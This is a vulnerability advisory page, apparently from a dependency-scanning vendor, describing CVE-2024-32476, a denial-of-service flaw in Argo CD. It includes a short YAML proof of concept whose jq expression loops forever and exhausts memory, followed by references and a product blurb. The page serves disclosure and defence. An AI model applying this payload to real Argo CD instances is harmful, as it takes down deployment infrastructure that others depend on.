CVE-2024-32476: Argo CD vulnerable to a Denial of Service via malicious jqPathExpressions in ignoreDifferences
DoS vuln via OOM using jq in ignoreDifferences.
ignoreDifferences:
- group: apps
kind: Deployment
jqPathExpressions:
- 'until(true == false; [.] + [1])'
References
- github.com/advisories/GHSA-9m6p-x4h2-6frq
- github.com/argoproj/argo-cd
- github.com/argoproj/argo-cd/commit/7893979a1e78d59cedd0ba790ded24e30bb40657
- github.com/argoproj/argo-cd/commit/9e5cc5a26ff0920a01816231d59fdb5eae032b5a
- github.com/argoproj/argo-cd/commit/e2df7315fb7d96652186bf7435773a27be330cac
- github.com/argoproj/argo-cd/security/advisories/GHSA-9m6p-x4h2-6frq
- nvd.nist.gov/vuln/detail/CVE-2024-32476
Code Behaviors & Features
Detect and mitigate CVE-2024-32476 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →